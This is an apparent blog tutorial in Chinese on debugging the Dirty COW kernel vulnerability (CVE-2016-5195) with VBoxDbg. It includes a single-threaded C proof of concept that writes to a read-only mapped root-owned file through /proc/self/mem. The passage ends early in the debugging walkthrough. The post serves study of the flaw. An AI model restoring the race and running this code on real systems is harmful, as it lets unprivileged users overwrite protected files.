用VBoxDbg除錯並理解單執行緒版髒牛（CVE-2016-5195）

Editor發表於2018-08-10

1、序言

髒牛是前幾年比較流行的一個漏洞，網上關於該漏洞的分析也比較多。但是對於像UP主一樣的新手而言，始終未能看到漏洞觸發的第一現場，比如像OOB/UAF等漏洞可以直接通過偵錯程式觀察記憶體看到漏洞確實可以觸發成功。但髒牛卻不是這樣，主要因為雙機除錯Linux的時候，KGDB無法對頁表（實體記憶體）進行讀寫。再加上多執行緒Race也提升了除錯的難度，所以一直沒能感覺很好的看到髒牛觸發的第一現場到底發生了什麼，直到我遇到了VBoxDbg這個偵錯程式。

2、VboxDbg說明

在Windows平臺下，使用Windbg可以對實體記憶體和一些特殊暫存器進行讀寫。但是在Linux核心除錯的時候，就不那麼方便，因為（嚴格來說）KGDB+Linux核心沒有實現這樣的功能。即便可以通過編寫proc偽檔案系統模組來對實體記憶體進行讀寫，但還是沒有Windbg那種方式感覺方便。於是UP主找了各種資料，最後終於發現一款比較好用的偵錯程式VboxDbg。

VBoxDbg是VirtualBox內建的一款偵錯程式，主要用於除錯在VirtualBox內執行的Guest主機。VBoxDbg也可以檢視Guest機器的實體記憶體和GDTR/IDTR等資訊。

3、單執行緒版DirtyCow

髒牛能觸發的一個必要原因是：雙執行緒競爭執行、對第四級頁表中的PTE進行讀寫操作。

為了更好的凸顯髒牛的Race的問題，我把網上的公開POC修改為一個單執行緒版本的髒牛poc，具體如下：

#include <stdio.h>

#include <sys/mman.h>

#include <fcntl.h>

#include <unistd.h>

#include <sys/stat.h>

#include <string.h>

#include <stdint.h>

void *map;

int f;

struct stat st;

char *name;

void *worker_write(void *arg)

{

char *str;

str=(char*)arg;

int f=open("/proc/self/mem",O_RDWR);

int i,c=0;

lseek(f,(uintptr_t) map,SEEK_SET);

write(f,str,strlen(str));

printf("procselfmem %d\n\n", c);

}

int main(int argc,char *argv[])

{

if (argc<3)

{

(void)fprintf(stderr, "%s\n","usage: dirtycowtest target_file new_content");

return 1;

}

f=open(argv[1],O_RDONLY); //這裡由於開啟的是root許可權檔案，所以理論上來說使用普通使用者許可權是無法對root檔案進行修改的

fstat(f,&st);

name=argv[1];

map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf("mmap %zx\n\n",(uintptr_t) map);

worker_write(argv[2]); //這裡嘗試進行了寫操作

return 0;

}

可以看到，程式碼中只有一個執行緒，且該執行緒僅僅執行了一個write動作。我們等下會用VBoxDbg來模擬第二個執行緒原本的動作（madvise）

4、除錯單執行緒版DirtyCow

除錯的總體思路為：

使用GDB+KGDB在follow_page_mask函式呼叫返回後的第一條核心指令、以及faultin_page函式內部呼叫handle_mm_fault函式返回後的第一條核心指令處分別下記憶體訪問斷點；

使用GDB+KGDB監控使用者態呼叫mmap後返回地址處的記憶體資訊；

在第二次呼叫handle_mm_fault後藉助VBoxDbg手動修改PTE資訊並讓程式執行起來，觀察結果。

由於Dirty Cow與ASLR/KASLR無關，所以在本實驗中為了方便除錯已經手動關閉了ASLR

首先直接執行修改過的dirtycowtest（執行結果如圖1），可以發現，執行後sensitive.txt檔案資訊並未發生改變，同時記錄下mmap返回地址：0x7ffff7ff7000